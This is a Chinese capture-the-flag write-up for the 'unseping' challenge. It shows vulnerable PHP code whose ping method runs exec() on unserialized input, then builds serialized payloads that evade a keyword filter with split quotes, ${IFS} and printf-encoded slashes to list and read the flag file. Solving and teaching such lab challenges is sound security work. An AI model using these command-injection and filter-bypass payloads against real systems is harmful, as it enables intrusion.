攻防世界—unseping(反序列化)

一.审题

复制代码
<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

二.代码审计

一个实体对象类ease,里面含有几个方法:_construct(创建实体) ,_destruct(销毁实体) ,ping, waf(过滤机制), _wakeup(反序列化的魔术方法)

使用POST传参,并且存在一个反序列化样式:unserialize,当我们通过POST传递ctf参数时,我们通过构造序列化去新增对象,会先后的调用函数:

POST传入数据base64解码unserialize()__wakeup()(调用waf()过滤$args) → (对象销毁)__destruct() → (条件满足时)ping()(执行系统命令)

需要过滤的点:base64解码,过滤命令/(\||&|;| |\/|cat|flag|tac|php|ls)/,要求methon需要是ping

三解题

构建序列化后的句子:

复制代码
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:4:"l''s";}}

这边对于args需要注意的是使用l""s或者l''s进行绕过,我这边使用HackBar进行post传参

得到可以的文件flag_1s_here,这边看并不是一个可以直接访问的文件可能是个文件夹什么的,ls一下这个文件下的内容

复制代码
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:24:"l''s${IFS}f''lag_1s_here";}}

这边空格的过滤采用:${IFS}

${IFS}是变量的 "引用形式",在命令中会被 Shell 自动解析为IFS的实际值(即默认包含空格)

接下去我们就浏览一下这个文件,flag应该就出来了

复制代码
O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:74:"c''at${IFS}f""lag_1s_here$(printf${IFS}"\57")f''lag_831b69012c67b35f.p''hp";}}

得到flag:cyberpeace{367c9d5a1320dfef1bed663157002210}

相关推荐
石像鬼₧魂石20 小时前
内网渗透是网络安全渗透测试
安全·web安全
Neolnfra1 天前
渗透测试标准化流程
开发语言·安全·web安全·http·网络安全·https·系统安全
奋飞安全1 天前
给你的Ida插上翅膀
安全·逆向
llxxyy卢1 天前
逻辑越权之找回机制接口安全
安全
pusheng20251 天前
普晟传感直播预告 |重塑安全边界:储能与AI数据中心的锂电风险、气体探测技术革新与可量化风险管控
人工智能·安全
云计算练习生1 天前
渗透测试行业术语扫盲(第十六篇)—— 红蓝对抗与演练类
网络·安全·网络安全·信息安全·渗透测试术语
KKKlucifer1 天前
数据湖赋能 SIEM:下一代安全运营的技术融合与实践
安全
一三检测冯野180212918131 天前
医疗产品运输安全:ISTA 3A标准应用
安全·模拟运输测试·包装运输测试·包装振动测试·ista3a
麻溜学习1 天前
网工_安全等保与安全法规
安全
pengkai火火火1 天前
基于springmvc拓展机制的高性能日志审计框架的设计与实现
spring boot·安全·微服务·架构